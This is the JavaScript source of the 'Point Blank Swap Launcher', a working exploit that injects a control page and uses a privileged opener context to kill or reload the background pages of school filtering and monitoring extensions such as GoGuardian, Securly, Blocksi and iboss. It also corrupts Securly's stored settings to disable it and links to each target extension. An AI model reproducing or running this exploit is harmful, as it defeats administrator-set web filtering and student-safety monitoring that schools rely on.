pbsl code
For the PBSL expl0it
function aboutBlankPage(n) {
opener.chrome.tabs.query({ url: n }, (n) => {
opener.chrome.tabs.update(n[0].id, {
url: "about:blank"
});
});
}
function get(n) {
return window.document.getElementById(n);
}
var doc = document;
doc.write(
"\n<html>\n <style>\n @import url('https://fonts.googleapis.com/css2?family=Cutive+Mono&family=Open+Sans:wght@300&display=swap');\n \n html, body {\n height: 100%;\n width: 100%;\n text-align: center;\n }\n\n\n \n h1, h2 {\n font-family: \"Cutive Mono\", sans-serif;\n }\n p {\n font-size: 16;\n font-family: \"Open Sans\", sans-serif;\n }\n button {\n outline: 0;\n align-items: center;\n background-color: #FFFFFF;\n border: 1px solid rgba(0, 0, 0, 0.1);\n border-radius: .25rem;\n box-shadow: rgba(0, 0, 0, 0.02) 0 1px 3px 0;\n box-sizing: border-box;\n color: rgba(0, 0, 0, 0.85);\n cursor: pointer;\n display: inline-flex;\n font-family: \"Open Sans\", sans-serif;\n font-size: 16px;\n font-weight: 600;\n justify-content: center;\n line-height: 1.25;\n margin: 0;\n min-height: 3rem;\n padding: calc(.875rem - 1px) calc(1.5rem - 1px);\n position: relative;\n text-decoration: none;\n transition: all 250ms;\n user-select: none;\n -webkit-user-select: none;\n touch-action: manipulation;\n vertical-align: baseline;\n width: auto;\n color: black;\n }\n\n #code {\n background-color: lightgray; border-radius: 5px;\n } /*span element*/\n \n button:hover,\n button:focus {\n border-color: rgba(0, 0, 0, 0.15);\n box-shadow: rgba(0, 0, 0, 0.1) 0 4px 12px;\n color: rgba(0, 0, 0, 0.65);\n }\n \n button:hover {\n transform: translateY(-1px);\n }\n \n button:active {\n background-color: #F0F0F1;\n border-color: rgba(0, 0, 0, 0.15);\n box-shadow: rgba(0, 0, 0, 0.06) 0 2px 4px;\n color: rgba(0, 0, 0, 0.65);\n transform: translateY(0);\n }\n input {\n outline: 0;\n align-items: center;\n background-color: #FFFFFF;\n border: 1px solid rgba(0, 0, 0, 0.1);\n border-radius: .25rem;\n box-shadow: rgba(0, 0, 0, 0.02) 0 1px 3px 0;\n box-sizing: border-box;\n color: rgba(0, 0, 0, 0.85);\n display: inline-flex;\n font-family: \"Open Sans\", sans-serif;\n font-size: 16px;\n font-weight: 600;\n justify-content: center;\n line-height: 1.25;\n margin: 0;\n min-height: 3rem;\n padding: calc(.875rem - 1px) calc(1.5rem - 1px);\n position: relative;\n text-decoration: none;\n user-select: none;\n -webkit-user-select: none;\n touch-action: manipulation;\n vertical-align: baseline;\n width: auto;\n }\n \n #eee {\n cursor: pointer;\n text-decoration: underline; \n color: #242526;\n }\n \n #links {\n display: none;\n font-family: 'Open Sans', sans-serif; \n color: gray;\n }\n\n a {\n color: gray;\n text-decoration: none;\n }\n\n #container {\n top: 50%;\n left: 50%;\n transform: translate(-50%, -50%);\n position: fixed;\n white-space: nowrap;\n }\n \n </style>\n \n <body><div id=\"container\">\n <center><h1>Point Blank Swap Launcher</h1></center>\n\n <h2>―――――― Extension Killer ――――――</h2>\n <p><span id='eee'>Extension links</span>▼</p>\n <div id='links'>\n <a href='https://tinyurl.com/goofguardian'>goguardian</a> • \n <a href='https://tinyurl.com/goofcurly'>securly</a> • \n <a href='https://tinyurl.com/goofclassroom'>securly classroom</a> • \n <a href='https://tinyurl.com/goofumbrella'>cisco umbrella</a> • \n <a href='https://tinyurl.com/goofsi'>blocksi</a> • \n <a href='https://tinyurl.com/goofboss'>iboss</a>\n <br>\n </div>\n <p>After visiting link:</p>\n <button id='cachekill'>[Securly only] Hard Kill (cache)</button>\n <button id='hardkill'>Soft kill extension</button><br>\n <button id='hardkillrev'>Revert Hard Kill</button>\n \n <p>To enable from soft kill, go to chrome-extension://{id here}/_generated_background_page.html</p>\n <h2>――― Change tab URL (about:blank) ―――</h2>\n <input id='url'>\n <button id='change'>Change tabs (Useless)</button>\n <p id='error'></p>\n <button id='reload'>Reload extension (Useless)</button>\n <br>\n <p><i>Expoit made by SprinkzMC#8421, Launcher made by NitrogenDioxide#2553</i></p>\n </div></body>\n</html>\n"
);
try {
console.log(get("hardk")),
get("hardkill").addEventListener(
"click",
function () {
try {
opener.chrome.extension.getBackgroundPage().close(),
alert("Killed background process");
} catch (n) {
alert(n);
}
},
!1
);
} catch (n) {
alert(n);
}
get("change").addEventListener(
"click",
function () {
aboutBlankPage(get("url").value);
},
!1
),
get("cachekill").addEventListener(
"click",
function () {
(localStorage.cluster = "UNKNOWN_SCHOOL, 999999999999999999999999999"),
opener.chrome.extension.getBackgroundPage().location.reload(),
alert("Cache changed");
},
!1
),
get("hardkillrev").addEventListener(
"click",
function () {
(localStorage = {}),
opener.chrome.runtime.reload(),
alert("Reverted cache");
},
!1
),
get("reload").addEventListener(
"click",
function () {
try {
opener.chrome.extension.getBackgroundPage().location.reload(),
alert("Reloaded");
} catch (n) {
alert("Failed to reload: " + n);
}
},
!1
),
get("eee").addEventListener(
"click",
function () {
const n = get("links");
"none" == n.style.display
? (n.style.display = "block")
: (n.style.display = "none");
},
!1
);